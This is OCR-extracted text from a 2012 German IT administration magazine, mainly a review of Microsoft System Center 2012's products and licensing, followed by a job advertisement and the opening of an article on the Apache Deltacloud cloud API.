using_yum# Fedora_16_‐. 3E_Fedora_17]<br />
[5] Libvirt-Sandbox: [http:// fedoraproject.<br />
org/ wiki/ Features/ VirtSandbox]<br />
[6] Plan9FS: [http:// wiki. qemu. org/<br />
Documentation/ 9psetup]<br />
[7] Ovirt-Projekt: [http:// www. ovirt. org/]<br />
[8] Ovirt auf Fedora: [https:// fedoraproject.<br />
org/ wiki/ Features/ oVirt]<br />
[9] Mesa-3D-Treiber „Llvmpipe“: [http:// www.<br />
mesa3d. org/ llvmpipe. html]<br />
[10] Xfce 4.10:[http:// repos. fedorapeople. org/<br />
repos/ kevin/ xfce‐4. 10/]<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
109
Test<br />
System Center 2012<br />
© coliap, 123RF<br />
Microsoft System Center 2012 – Management in der Cloud<br />
Rundum sorglos<br />
Mit dem System Center 2012 bietet Microsoft die umfassende Lösung für das Management von <strong>Server</strong>-Installationen<br />
bis hin zu verteilten Umgebungen. Selbst Linux-Rechner lassen sich damit überwachen. Thomas Joos<br />
Die neue Version der Management Suite<br />
System Center 2012 konzentriert sich vor<br />
allem auf die Verwaltung von Private<br />
Clouds. Die Lizenzierung der neuen Version<br />
hat Microsoft vereinfacht und die<br />
Editionen zusammengefasst. Das neue<br />
System Center 2012 [1] ist nur noch als<br />
Paket erhältlich und soll die <strong>Server</strong>-Verwaltung<br />
im Unternehmen wesentlich verbessern.<br />
Die Produkte lassen sich nicht<br />
mehr einzeln erwerben, mit Ausnahme<br />
des Virenschutzes Endpoint Protection<br />
2012. Um Unternehmen den Einstieg in<br />
die komplette Suite zu ermöglichen, gibt<br />
es nur noch zwei Editionen. Diese enthalten<br />
alle notwendigen Tools, um <strong>Server</strong><br />
im Netzwerk zu verwalten. Zusätzliche<br />
Produkte von Drittherstellern sollen für<br />
Unternehmen entfallen. Die Lizenzierung<br />
erfolgt auf Basis der verwalteten Endgeräte.<br />
In der neuen Version hat Microsoft<br />
auch verstärkt darauf geachtet, dass die<br />
Produkte in System Center durchgängig<br />
über die Powershell ansprechbar sind.<br />
Das soll das Skripten erleichtern und eine<br />
Automatisierung ermöglichen.<br />
System Center 2012 besteht aus acht Produkten,<br />
die alle Belange einer <strong>Server</strong>verwaltung<br />
abdecken:<br />
n Der System Center Configuration Manager<br />
2012 (SCCM) dient vor allem der<br />
Verwaltung von Endgeräten und den<br />
installierten Anwendungen. Die neue<br />
Version hat die Anwender selbst und<br />
deren wechselnde Geräte im Fokus.<br />
Auch Smartphones lassen sich mit der<br />
neuen Version verwalten.<br />
n Der System Center Operations Manager<br />
2012 (SCOM) hat vor allem die<br />
Überwachung der mit SCCM installierten<br />
<strong>Server</strong> und Netzwerkgeräte im<br />
Fokus und ergänzt den SCCM.<br />
n Der System Center Data Protection<br />
Manager 2012 (SCDPM 2012) stellt<br />
die Datensicherungslösung im System<br />
Center dar. Die Lösung kann alle<br />
<strong>Server</strong> im Netzwerk, auch <strong>Server</strong>lösungen,<br />
sichern und die Sicherungen<br />
zentral verwalten.<br />
n System Center Service Manager 2012.<br />
Der wichtigste Fokus des Produktes<br />
ist die Anbindung als zentrale Verwaltungsoberfläche<br />
und Knotenpunkt<br />
für alle System-Center-Produkte im<br />
Unternehmen sowie die Bildung von<br />
Schnittstellen und deren Verknüpfung<br />
und Automatisierung.<br />
n Der System Center Virtual Machine<br />
Manager 2012 (SCVMM) verwaltet virtuelle<br />
<strong>Server</strong> im Netzwerk. Hier lassen<br />
sich neben Hyper-V auch andere<br />
Virtualisierungslösungen wie vSphere<br />
anbinden. Viele Unternehmen haben<br />
SCVMM außerhalb von System Center<br />
lizenziert und müssen bei der neuen<br />
Version deutlich tiefer in die Tasche<br />
greifen.<br />
n Der System Center Orchestrator 2012<br />
dient der Automatisierung von IT-Prozessen.<br />
Microsoft hat das zugekaufte<br />
Produkt Opalis in SCO umbenannt<br />
und in der neuen Version für die Verwaltung<br />
mit der Powershell erweitert.<br />
Wie der Service Manager findet auch<br />
dieses Produkt derzeit nur wenig Anklang.<br />
n Der System Center App Controller<br />
2012 soll dabei helfen. Anwendungen<br />
im Unternehmen zentral zu verwalten<br />
und zwar in einer Private Cloud oder<br />
der Cloud eines Herstellers. Das Tool<br />
verwaltet Vorlagen für Anwendungen,<br />
die sich über andere System-Center-<br />
Produkte bereitstellen lassen.<br />
n Bei System Center Endpoint Protection<br />
2012 handelt es sich um einen Virenschutz,<br />
der sich mit SCCM verwalten<br />
und verteilen lässt.<br />
Der System Center Configuration Manager<br />
2012 ist das wichtigste Produkt im<br />
neuen System Center. Microsoft integriert<br />
die Funktionen des System Center Mobile<br />
Device Manager 2008 komplett in SCCM,<br />
der jetzt Windows Phone 7/7.5-Geräte<br />
und andere Systeme verwalten kann.<br />
SCCM 2012 konzentriert sich im Gegensatz<br />
zu Vorgängerversionen nicht auf die<br />
PCs der einzelnen Anwender, sondern<br />
auf die Anwender und die benötigten<br />
Applikationen selbst.<br />
Benutzerorientiert<br />
Die Definition eines primären Gerätes<br />
hilft bei der Verteilung von Anwendun-<br />
110 Ausgabe 04-2012 Admin www.admin-magazin.de
System Center 2012<br />
Test<br />
gen. Umgekehrt können Administratoren<br />
auch einem Gerät<br />
mehrere Anwender zuweisen.<br />
Geräten lassen sich auch<br />
primäre Anwender zuweisen,<br />
die dann wiederum im System<br />
ihre Arbeitszeit hinterlegen<br />
können. Auf Basis dieser<br />
Daten kann SCCM 2012 dann<br />
entscheiden, welche Anwendungen<br />
mit den unterschiedlichen<br />
Technologien angeboten<br />
werden (Abbildung 1).<br />
Auf seinem primären Gerät erhält<br />
der Anwender zum Beispiel<br />
eine lokale Installation<br />
seiner benötigten Anwendungen.<br />
Arbeitet er an einem anderen Gerät,<br />
erhält er Zugriff über App-V oder einen<br />
Remotedesktop. Außerdem können Administratoren<br />
Abhängigkeiten zwischen<br />
Anwendungen konfigurieren, sodass immer<br />
die notwendigen Tools und Anwendungspakete<br />
auf den PCs installiert sind.<br />
SCCM kann Anwendungen auch wieder<br />
von PCs entfernen und deinstallieren.<br />
Die Installation von Anwendungen kann<br />
automatisiert erfolgen. Alternativ installieren<br />
die Anwender die zugeordneten<br />
Programme über das neue Webinterface<br />
selbst auf dem Endgerät. Im Portal sehen<br />
Anwender dann alle Programme, die<br />
sie auf dem entsprechenden Gerät verwenden<br />
können. Microsoft spricht hierbei<br />
von benutzerorientierter Verwaltung<br />
(User Centric Management, UCM).<br />
Geräten, die Unternehmen im Schichtbetrieb<br />
einsetzen, können Administratoren<br />
auch mehrere primäre Anwender zuteilen.<br />
Über diesen Weg lässt sich die IT-Infrastruktur<br />
also sehr detailliert darstellen.<br />
Auch Apps für mobile Endgeräte verwalten<br />
Administratoren auf diese Weise.<br />
Neben diesen Möglichkeiten lassen sich<br />
Anwendungen auch in Abhängigkeit voneinander<br />
setzen. Soll auf einem Computer<br />
zum Beispiel die Anwendung A installiert<br />
werden, die von B abhängig ist, dann installiert<br />
SCCM erst die Anwendung B und<br />
anschließend die Anwendung A. Geräte,<br />
die an SCCM 2012 angebunden sind, zum<br />
Beispiel Computer mit Windows 7, verfügen<br />
in der Systemsteuerung über einen<br />
neuen Bereich »Configuration Manager«.<br />
Hierüber lassen sich verschiedene Einstellungen<br />
vorgeben und anzeigen, die<br />
das Gerät mit der System-Center-Infra-<br />
Abbildung 1: Die benutzerzentrierte Verwaltung im Configuration Manager er laubt<br />
es, Geräte wie Computer oder Mobiltelefone einzelnen Anwendern zuzuweisen.<br />
ähnlich wie Exchange <strong>Server</strong><br />
2010. Administratoren können<br />
einzelne Verwaltungsaufgaben<br />
an Benutzer delegieren.<br />
Dazu bietet das System Center<br />
bereits vorgefertigte Verwaltungssrollen<br />
an, zum Beispiel<br />
zur Verwaltung von Endpoint<br />
Protection. Natürlich lassen<br />
sich auch eigene Rollen mit<br />
entsprechenden Rechten anlegen.<br />
Zur Verwaltung hinterlegen<br />
Administratoren zunächst<br />
die Benutzerkonten, die Verwaltungsrechte<br />
erhalten sollen,<br />
in der Management Konsole<br />
des System Center. Dabei<br />
kann das System Center natürlich auch<br />
auf Benutzer aus Active Directory zugreifen.<br />
Den Benutzern lassen sich dann<br />
entsprechenden Verwaltungsrollen zuweisen,<br />
womit sie Verwaltungsrechte erhalten.<br />
Die Verwaltung der Rollen basiert<br />
zusätzlich zu den zugewiesenen Rollen<br />
auf Security Scopes. Dabei handelt es<br />
sich um Sammlungen von Geräten, die<br />
an das System Center angebunden sind.<br />
Security Scopes können zum Beispiel<br />
Computer einer Niederlassung sein, die<br />
nur bestimmte Administratoren verwalten<br />
dürfen. Ebenfalls integriert ist das<br />
User State Migration Tool (USMT) 4.0,<br />
um Benutzereinstellungen zu übernehmen.<br />
Das Booten über Netzwerk (PXE)<br />
funktioniert wesentlich zuverlässiger<br />
und einfacher. Installationen von Anstruktur<br />
anbinden. SCCM hilft auch bei<br />
der Bereitstellung von Betriebssystemen<br />
im Unternehmen. Linux und Unix lassen<br />
sich mit SCCM 2012 besser verwalten<br />
als mit den Vorgängerversionen. Optimal<br />
unterstützt das Produkt AIX, HP-UX, Red<br />
Hat Enterprise Linux, Solaris und Suse<br />
Linux Enterprise <strong>Server</strong>.<br />
Standortverwaltung<br />
Die Verwaltung von Standorten hat Microsoft<br />
überarbeitet. Die oberste Ebene<br />
einer SCCM 2012-Infrastruktur ist die<br />
Central Administration Site (CAS). Mit<br />
dieser lassen sich alle Standorte anbinden<br />
und verwalten. Der CSA sind keine<br />
Clients zugeordnet, sie dient nur der zentralen<br />
Verwaltung aller <strong>Server</strong> und Sites.<br />
Über eine CSA lassen sich mehrere primäre<br />
Sites zentral verwalten. Die CSA behält<br />
dazu Kontrolle über die Datenbank,<br />
die zentrale Konfiguration der SCCM-Infrastruktur<br />
und kann Berichte erstellen.<br />
Sekundäre Sites lassen sich zu Distribution<br />
Points herabstufen, primäre Sites<br />
lassen sich nicht mehr anpassen. Auf<br />
diese Weise gestaltet sich die Verwaltung<br />
wesentlich einfacher als in der Vorgängerversionen.<br />
Neu ist die Active Directory<br />
Forest Discovery. Mit dieser Technik kann<br />
SCCM 2012 mehrere Active-Directory-Gesamtstrukturen<br />
erkennen und verwalten.<br />
Die Verwaltungsoberfläche hat Microsoft<br />
komplett überarbeitet.<br />
Rechte durch Rollen<br />
SCCM 2012 arbeitet mit einer rollenbasierten<br />
Zugriffsberechtigung (RBAC),<br />
C13<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
111
Test<br />
System Center 2012<br />
wendungen und Patches lassen sich in<br />
Offline-Bereitstellungen von WIM-Images<br />
integrieren und an angebundene Clients<br />
verteilen. Auch hier arbeitet SCCM 2012<br />
wesentlich zuverlässiger als die Vorgängerversionen.<br />
Für die Verwendung des<br />
Exchange-<strong>Server</strong>-Connectors lässt sich<br />
Exchange <strong>Server</strong> 2010 anbinden. Über<br />
diesen Connector liest SCCM 2012 die<br />
Activesync-Richtlinien von Exchange<br />
ein und leitet sie an die angebundenen<br />
Endgeräte weiter. SCCM 2007 unterstützt<br />
ältere Windows Mobile-Versionen mit<br />
eigenen Verwaltungsfunktionen. Diese<br />
überschneiden sich mit den Activesync-<br />
Richtlinien. Daher geht SCCM 2012 einen<br />
anderen Weg und bindet die Exchange-<br />
Activesync-Richtlinien direkt von den<br />
Exchange-<strong>Server</strong>n ein. Hierbei handelt<br />
es sich um eine Technologie die SCCM<br />
2012 von System Center Device Manager<br />
2008 übernommen hat. Die entsprechenden<br />
Einstellungen finden sich in den<br />
Eigenschaften des Exchange-<strong>Server</strong>-Connectors.<br />
Über diesen Connector können<br />
Administratoren angebundene Endgeräte<br />
auch über das Internet löschen (Remote<br />
Wipe). Der Connector kann nicht nur<br />
Richtlinien von Exchange an die Clients<br />
weiterleiten, sondern auch Inventuren<br />
der angebundenen Geräte durchführen.<br />
Editionen und Lizenzen im<br />
Vergleich<br />
Mit der Standard Edition sollen Unternehmen<br />
lokal installierte <strong>Server</strong> verwalten<br />
können ebenso wie virtuelle <strong>Server</strong>. Für<br />
große Unternehmen ist die Datacenter<br />
Edition gedacht. Beide Pakete umfassen<br />
alle System-Center-Produkte sowie die<br />
notwendigen Lizenzen für die Installation<br />
einer SQL-<strong>Server</strong>-Datenbank. Der<br />
wesentliche Unterschied der beiden Editionen<br />
besteht in der erlaubten Anzahl<br />
installierter Betriebssysteme.<br />
Die Standard Edition erlaubt die Verwaltung<br />
von zwei installierten Systemen<br />
(Hyper-V-Host und eine VM), die Datacenter<br />
Edition eine unbegrenzte Anzahl.<br />
Allerdings sind pro Lizenz bei beiden<br />
Editionen nur zwei Prozessoren berücksichtigt.<br />
Die Kerne dieser CPUs spielen<br />
dabei keine Rolle. Ein <strong>Server</strong> mit vier<br />
Prozessoren benötigt daher zwei Lizenzen.<br />
Auch wenn Microsoft die Lizenzierung<br />
[2] vereinfacht hat, gibt es hierbei<br />
Abbildung 2: Mit Endpoint Protection 2012 können Administratoren den Virenschutz der verwalteten Systeme<br />
überwachen.<br />
immer noch viele Fallstricke. Zunächst<br />
spielen die installierten Betriebssysteme<br />
eine Rolle und zwar auf dem Virtualisierungs-Hosts<br />
und den virtuellen <strong>Server</strong>n.<br />
Allerdings müssen hier nur die verwalteten<br />
Systeme einbezogen werden, nicht<br />
die Verwaltungs-<strong>Server</strong> und auch nicht<br />
die Datenbankserver. Dann müssen Administratoren<br />
noch die Prozessoren der<br />
angebundenen Clientsysteme zählen. Auf<br />
dieser Basis ist dann die Entscheidung<br />
zu fällen, ob mehrere Standard-Edition-<br />
Lizenzen günstiger sind als wenige Datacenter-Editionen.<br />
Dazu kommen noch<br />
die verschiedenen Verträge, die Unternehmen<br />
mit Microsoft eingehen können.<br />
Im Schnitt kostet die Datacenter-Edition<br />
knapp das Dreifache der Standardedition<br />
(3600 <strong>gegen</strong>über 1300 US-Dollar). Wer<br />
die Software einsetzen will, kommt um<br />
eine ausführliche Lizenzberatung nicht<br />
herum. Ein Whitepaper [3] beantwortet<br />
die häufigsten Fragen.<br />
Virenschutz<br />
Bestandteil des Pakets ist Microsoft<br />
Forefront Endpoint Protection 2012, ein<br />
Virenschutz, der sich mit den anderen<br />
Produkten im System Center überwachen<br />
lässt. Forefront Endpoint Protection ist<br />
das einzige Tool im System-Center-Paket,<br />
das Unternehmen auch einzeln kaufen<br />
können. Mit Endpoint Protection 2012<br />
können Administratoren den Virenschutz<br />
direkt aus System Center Configurations<br />
Manager 2012 steuern und mit Operations<br />
Manager 2012 überwachen (Abbildung<br />
2). Basis von Endpoint Protection sind<br />
die Antimalware-Policies, die Administratoren<br />
in der Verwaltungsoberfläche des<br />
System Center Configuration Managers<br />
steuern. In der Konsole lassen sich verschiedene<br />
Richtlinien erstellen und damit<br />
perfekt an die verschiedenen <strong>Server</strong> und<br />
Computer im Unternehmen anpassen.<br />
Eine Richtlinie besteht aus einem Satz<br />
von Einstellungen, die festlegen, wann<br />
ein Client nach Viren suchen soll, wie<br />
das Verhalten der Software ist, wenn ein<br />
Virus entdeckt wird, und ob die Software<br />
auch Netzlaufwerke und E-Mails nach<br />
Viren durchsuchen soll.<br />
Endpoint Protection bindet sich in die<br />
Verwaltungswerkzeuge des System Center<br />
ein und erlaubt einen Scan von Computern<br />
im Netzwerk. Neben dem Virenschutz<br />
kann Endpoint Protection über<br />
die System Center Configurations Manager-Konsole<br />
auch Firewall-Einstellungen<br />
auf Rechnern vorgeben. Durch die Integration<br />
des Virenschutzes in das System<br />
Center ist keine getrennte Überwachung<br />
von Alarmen notwendig. Informationen<br />
und Benachrichtigungen des Virenschutzes<br />
sind direkt in das System Center mit<br />
eingebunden. Außerdem lassen sich eigene<br />
Berichte erstellen, die den Virenschutz<br />
dokumentieren. Administratoren,<br />
die sich einen Überblick über die Mög-<br />
112 Ausgabe 04-2012 Admin www.admin-magazin.de
System Center 2012<br />
Test<br />
lichkeiten von System Center 2012 und<br />
den integrierten Virenschutz verschaffen<br />
wollen, verwenden am besten eines der<br />
verschiedenen Technet Virtual Labs [4].<br />
Ein Virtual Lab ist eine Remote-Desktop-<br />
Verbindung zu einem virtuellen <strong>Server</strong><br />
und Client, auf dem bereits das System<br />
Center installiert und eingerichtet ist. Die<br />
Verbindung erfolgt am besten über eine<br />
Internet-Explorer-Sitzung.<br />
Software-Verwaltung<br />
Um in System Center 2012 mit System<br />
Center Configuration Manager 2012 Anwendungen<br />
zur Verfügung zu stellen,<br />
definieren Administratoren zunächst ein<br />
primäres Gerät für den Anwender. Hierbei<br />
handelt es sich um den standardmäßigen<br />
Arbeitsplatz. Anwender können<br />
benötigte Programme auch selbst aus<br />
dem Software-Katalog des SCCM 2012<br />
auswählen und installieren. Administratoren<br />
müssen für einzelne Sites den <strong>Server</strong><br />
vorgeben, der den Katalog verwalten<br />
soll. Dazu ist es notwendig, die entsprechende<br />
Systemrolle auf einem <strong>Server</strong> in<br />
der Site zu installieren. Starten Administratoren<br />
den Assistenten zur Installation<br />
von neuen Systemrollen, lässt sich der<br />
entsprechende <strong>Server</strong> und anschließend<br />
die Rolle auswählen, die auf dem <strong>Server</strong><br />
installiert werden soll. Damit Anwender<br />
selbst Programm über den Anwendungskatalog<br />
auswählen können, sind in der<br />
Site die Rollen »Application Catalog Web<br />
Service Point« und »Application Catalog<br />
Website Point« notwendig.<br />
Heterogene Netze<br />
In OPS 2012 gibt es keinen Root Management<br />
<strong>Server</strong> (RMS) mehr, alle Verwaltungsserver<br />
sind gleichberechtigt.<br />
Fällt ein Management-<strong>Server</strong> aus, übernehmen<br />
andere <strong>Server</strong> seine Aufgaben.<br />
In Vorgängerversionen bis OPS 2007 R2<br />
musste in Umgebungen mit hochverfügbaren<br />
<strong>Server</strong>n der RMS-<strong>Server</strong> geclustert<br />
sein, um einen Ausfall zu verhindern.<br />
Management-<strong>Server</strong> in OPS 2012 sind<br />
nicht mehr clusterfähig.<br />
Mehrere Verwaltungsserver lassen sich<br />
zu Gruppen zusammenfassen. Anwendungen<br />
und Netzwerkhardware wie Switches,<br />
Firewalls oder Router lassen sich<br />
mit OPS 2012 effizienter überwachen. In<br />
diesem Bereich kann OPS 2012 auch die<br />
Leistung und Verfügbarkeit der Komponenten<br />
besser beurteilen und darstellen.<br />
Die neue Version erkennt zum Beispiel,<br />
an welchem Port eines Switches ein überwachter<br />
<strong>Server</strong> angeschlossen ist und<br />
kann speziell diesen überwachen. Auch<br />
für die Darstellung der Infrastruktur ist<br />
das sinnvoll. Um einzelne Anwendungen<br />
im Netzwerk besser zu überwachen, bietet<br />
OPS 2012 auch die Unterstützung von<br />
Java-Enterprise-Webanwendungen, zum<br />
Beispiel mit Websphere 6.1/7, Weblogic<br />
10 und 11, JBoss und Tomcat. Administratoren<br />
können OPS 2012 auch über eine<br />
Webkonsole verwalten. Auch Webparts<br />
für die Einbindung in das eigene Intranet,<br />
zum Beispiel über Sharepoint stehen zur<br />
Verfügung. Administratoren können sich<br />
in der neuen Version eigene Dashboards<br />
erstellen, die genau die Informationen<br />
enthalten, die notwendig sind. Zusätzlich<br />
bietet die neue Version eine noch bessere<br />
Verwaltung in der Powershell an.<br />
Auch für Linux<br />
OPS 2012 arbeitet mit<br />
dem Sicherheitsmodell<br />
von Linux zusammen<br />
und erfordert nicht immer<br />
vollständige Root-<br />
Rechte. Nur wenn ein<br />
bestimmter Überwachungsprozess<br />
erweiterte<br />
Rechte benötigt,<br />
bekommt dieser auch<br />
unter Linux mehr<br />
Rechte. Für Linux/<br />
Unix gibt es spezielle<br />
eigene Agents. Offiziell<br />
nennt Microsoft<br />
die folgenden Linux-/<br />
Unix-Systeme: HP-UX<br />
11i v2 und v3 (PA-RISC<br />
und IA64), Oracle Solaris<br />
9 (Sparc) und Solaris<br />
10 (Sparc und x86),<br />
Red Hat Enterprise Linux<br />
4, 5, und 6 (x86/<br />
x64), Novell SUSE Linux<br />
Enterprise <strong>Server</strong><br />
9 (x86), 10 SP1 (x86/<br />
x64), and 11 (x86/x64),<br />
IBM AIX 5.3, AIX 6.1<br />
(Power) und AIX 7.1<br />
(Power). (ofr) n<br />
Infos<br />
[1] Microsoft System Center 2012: [http://<br />
www. microsoft. com/ de‐de/ server/<br />
system‐center/ 2012. aspx]<br />
[2] Produktlizenzierung System Center<br />
2012: [http:// www. microsoft. com/<br />
de‐de/ licensing/ produktlizenzierung/<br />
system‐center‐2012. aspx]<br />
[3] Licensing Datasheet: [http:// download.<br />
microsoft. com/ download/ 8/ F/ 2/ 8F24D<br />
CBF‐C487‐465B‐9193‐FA7620E1482A/<br />
SystemCenter2012_LicensingDatasheet. pdf]<br />
[4] Technet Virtual Labs zu System Center:<br />
[http:// technet. microsoft. com/ en‐us/<br />
systemcenter/ om/ bb539977]<br />
Der Autor<br />
Thomas Joos ist freiberuflicher IT-Consultant und<br />
seit über 20 Jahren in der IT tätig. Neben seinen<br />
Projekten schreibt er praxisnahe Fachbücher<br />
und Fachartikel rund um Windows und andere<br />
Microsoft-Themen. Online trifft man ihn unter<br />
[http:// thomasjoos. spaces. live. com].<br />
Carhartt WIP hat die traditionellen Workwear-Bestandteile in Bezug<br />
auf außergewöhnliche Qualität, Haltbarkeit und Komfort sorgfältig<br />
angepasst, das herausragende Design neu interpretiert und miteinander<br />
kombiniert. Unsere Vertriebspolitik besteht aus ausgewählten<br />
Einzelhändlern in urban, lifestyle, Menswear und Avantgarde Märkten.<br />
Wir suchen für unseren Hauptsitz in Weil am Rhein zum<br />
nächstmöglichen Zeitpunkt eine / n<br />
Webshop Administrator (m/w)<br />
Deine Aufgaben:<br />
Administration, Wartung, sowie 1st Level Anwendersupport der<br />
B2B-spezifischen Anwendungen und Infrastruktur<br />
Kontrolle / Überwachung der B2B-bezogenen Systemprozesse<br />
Technische Abwicklung von Projekten zur Weiterentwicklung /<br />
Optimierung der B2B Systemlandschaft<br />
Fortlaufende technische Dokumentation der B2B-Systemlandschaft<br />
und der darin abgebildeter Prozesse<br />
Dein Profil:<br />
Ausbildung zur/ zum Fachinformatiker / in oder ähnliche technische<br />
Ausbildung<br />
2-3 Jahre Berufserfahrung<br />
Erfahrung mit „Hybris“ von Vorteil<br />
Webentwicklungserfahrung von Vorteil<br />
Belastbar, flexibel und teamfähig<br />
Eigeninitiatives, selbstständiges Arbeiten<br />
Bewirb Dich online mit Angabe Deiner Gehaltsvorstellung und des<br />
frühestmöglichen Eintrittstermins unter: www.carhartt-wip.com/jobs<br />
www.admin-magazin.de<br />
cardhartt.indd 1<br />
Admin<br />
Ausgabe 04-2012<br />
22.06.2012 16:12:34 Uhr<br />
113
Virtualisierung<br />
Deltacloud<br />
© Wolfgang Grossmann Wolfgang, 123RF<br />
Eine API, viele Clouds<br />
Anschlussfreudig<br />
Heute bringt jede Cloud-Offerte ihre eigene, proprietäre API mit. Das birgt für den Anwender die Gefahr der Abhängigkeit<br />
von einem bestimmten Anbieter, weil eine Migration zur Konkurrenz nahezu unmöglich ist. Apache<br />
Deltacloud löst dieses Problem dank einer einheitlichen API für alle IaaS-Clouds, die sich so mit Treibern an öffentliche<br />
wie private Angebote anpassen lassen. David Lutterkort<br />
Zwar wird schon seit geraumer Zeit darüber<br />
diskutiert, doch haben sich beim<br />
Cloud Computing bislang keine Standards<br />
etabliert. Noch immer ist vieles in<br />
Bewegung. In den letzten Jahren entstanden<br />
eine Reihe öffentlicher Clouds wie<br />
Amazon Elastic Compute Cloud (EC2)<br />
[1], Amazon Simple Storage Service<br />
(S3) [2] oder Jiffybox [3]. In den USA<br />
etwa kommen Anbieter wie Gogrid [4],<br />
Rackspace [5] und Terremark [6] dazu.<br />
Clouds sind noch immer eine sehr junge<br />
Technologie, um Applikation und Dienste<br />
bereitzustellen. Jeder Betreiber und auch<br />
sehr viele proprietär ausgerichtete Technologielieferanten<br />
folgen ihren eigenen<br />
Vorstellungen und steuern die Applikationssicht<br />
auf ihre Weise. Da<strong>gegen</strong> wollen<br />
Unternehmen sich natürlich nur ungern<br />
an einen einzelnen Cloud-Anbieter binden.<br />
Interoperabilität, die einen Wechsel<br />
zwischen Cloud-Anbietern ermöglichen<br />
würde, ist daher besonders wichtig.<br />
Privatwolken<br />
Während es auf der einen Seite ein<br />
durchaus beachtliches Angebot öffentlicher<br />
Clouds gibt, haben auf der anderen<br />
Seite viele Unternehmen ihre privaten<br />
Clouds implementiert, die Applikationen<br />
und Computing Services über das<br />
eigene LAN/WAN bereitstellen. In den<br />
USA betreiben Unternehmen oft bereits<br />
Dutzende von Clouds, in Deutschland da<strong>gegen</strong><br />
befinden sich viele noch im Experimentierstadium<br />
und nur wenige haben<br />
die ersten privaten Clouds tatsächlich im<br />
produktiven Betrieb. Reicht die Leistungsfähigkeit<br />
der internen Clouds nicht mehr<br />
aus, wäre es wünschenswert, zusätzliche<br />
Ressourcen öffentlicher Clouds nutzen<br />
zu können. Was dafür allerdings lange<br />
Zeit fehlte, war eine Möglichkeit, beide<br />
Welten miteinander zu verknüpfen.<br />
Ein weiterer Aspekt des Themas Interoperabilität<br />
besteht darin, dass sich<br />
unabhängige Softwarehersteller bei der<br />
Entwicklung neuer Anwendungen frühzeitig<br />
entscheiden müssen, in welcher<br />
der bestehenden Clouds ihre Software<br />
laufen soll. Das Erscheinen jeder neuen<br />
Cloud mit eigenem API verursacht hier<br />
zusätzlichen Aufwand. Es gibt daher gute<br />
114 Ausgabe 04-2012 Admin www.admin-magazin.de
Deltacloud<br />
Virtualisierung<br />
Gründe, die für eine konsistente, standardisierte<br />
Cloud-Computing-API sprechen.<br />
Auch wenn die Amazon-Cloud-Angebote<br />
wie EC2 oder S3 für ihre jeweiligen Einsatzgebiete<br />
bereits zweckdienliche APIs<br />
bereitstellen, sind sie dennoch keine<br />
generelle Lösung für andere öffentliche<br />
Clouds. Aus diesem Grund entschloss<br />
sich Red Hat im Herbst 2009, diese Lücke<br />
mit einem Open-Source-Projekt zu<br />
schließen, das sowohl ein einheitliches<br />
Interface definiert als auch Adapter für<br />
die wichtigsten öffentlichen und privaten<br />
Clouds implementiert (Abbildung 1). Damit<br />
wird der Aufwand, neu erscheinende<br />
Clouds zu unterstützen, von den Applikationen<br />
zu ebendieser API, der Deltacloud,<br />
verschoben.<br />
War Deltacloud anfangs ein originäres<br />
Projekt von Red Hat, wurden die bis dahin<br />
fertiggestellte Schnittstelle mit allem<br />
dazugehörigen Code im Frühjahr 2010<br />
zur weiteren Bearbeitung an den Incubator<br />
der Apache Software Foundation [7]<br />
übergeben. Das Projekt wird dort unter<br />
der Bezeichnung Apache Deltacloud [8]<br />
fortgeführt. Damit ist die Herstellerunabhängigkeit<br />
gesichert. Ebenso wie andere<br />
Apache-Projekte wird auch Deltacloud<br />
von einer Vielzahl von Beteiligten aus<br />
unterschiedlichen Unternehmen und Organisation<br />
weiterentwickelt, die sich den<br />
Prinzipien offener Softwarelizenzen und<br />
einer benutzergesteuerten Innovation<br />
verpflichtet haben.<br />
Eine REST-basierte<br />
Schnittstelle<br />
Die Deltacloud-API ist als servicebasierte<br />
REST-Schnittstelle (Representational<br />
State Transfer) über HTTP implementiert,<br />
die einen Deltacloud-<strong>Server</strong> mit Daten<br />
versorgt. Um die Benutzung der REST-<br />
Schnittstelle zu vereinfachen, stellt das<br />
Deltacloud-Projekt sowohl ein CLI-Tool<br />
(Command Line Tool, Listing 1) als auch<br />
Client-Bibliotheken in Ruby, Java, C und<br />
Python zur Verfügung.<br />
Listing 1 zeigt, wie das CLI-Tool »deltacloudc«<br />
benutzt werden kann, um eine<br />
neue virtuelle Maschine anzulegen. In<br />
Zeile 1 wird die Environment-Variable<br />
»API_URL« so gesetzt, dass sie auf einen<br />
lokalen Deltacloud-<strong>Server</strong> zeigt. Die<br />
URL enthält auch Benutzernamen und<br />
Passwort für die Backend-Cloud – sie<br />
Abbildung 1: Apache Deltacloud stellt eine auf REST basierende API zur Kommunikation zwischen Clients und<br />
dem Deltacloud-<strong>Server</strong> (Deltacloud Core) zur Verfügung.<br />
lassen sich alternativ aber auch mit den<br />
Umgebungsvariablen »API_USER« und<br />
»API_PASSWORD« setzen.<br />
In Zeile 2 werden alle vorhandenen Images<br />
aufgelistet, deren Details in den Zeilen<br />
3 bis 5 zu sehen sind. Ebenso werden<br />
die vorhandenen Hardwareprofile in Zeile<br />
6 angefordert und in den Zeilen 7 bis 9<br />
angezeigt. Zeile 10 schließlich legt eine<br />
neue virtuelle Maschine an, die auf dem<br />
Image »img1« beruht und deren virtuelle<br />
Hardware gemäß dem Hardwareprofil<br />
»m1‐small« gewählt wird. Diese Operationen<br />
sehen für andere Backend-Clouds<br />
genau so aus, außer dass Benutzername<br />
und Passwort anzupassen sind.<br />
Cloud Abstraction APIs<br />
Neben Deltacloud gibt es weitere Open-<br />
Source-Projekte, die Cloud Abstraction<br />
APIs entwickeln. Zu nennen sind hier<br />
Jclouds [9], Libcloud [10], Boto [11] und<br />
Fog [12]. All diese Bibliotheken sind jedoch<br />
jeweils an eine bestimmte Programmiersprache<br />
gebunden: jclouds an Java,<br />
libcloud und boto an Python und fog an<br />
Ruby. Es handelt sich immer um sprachspezifische<br />
Libraries. Deltacloud ist da<strong>gegen</strong><br />
völlig sprachunabhängig und die<br />
einzige Cloud Abstraction API, die sich<br />
als Webservice nutzen lässt. Der Vorteil:<br />
Durch den Einsatz vorhandener und weit<br />
Listing 1: CLI-Beispielsitzung<br />
verbreiteter Standards wie HTTP und<br />
XML entsteht eine offene Architektur, die<br />
unabhängig von den verwendeten Plattformen<br />
und Programmiersprachen ist.<br />
Die Realisierung der Deltacloud-API<br />
als Webservice statt als Bibliothek ermöglicht<br />
es, den Deltacloud-<strong>Server</strong> in<br />
einer von zwei Grundkonfigurationen<br />
zu betreiben: entweder nahe am Benutzer,<br />
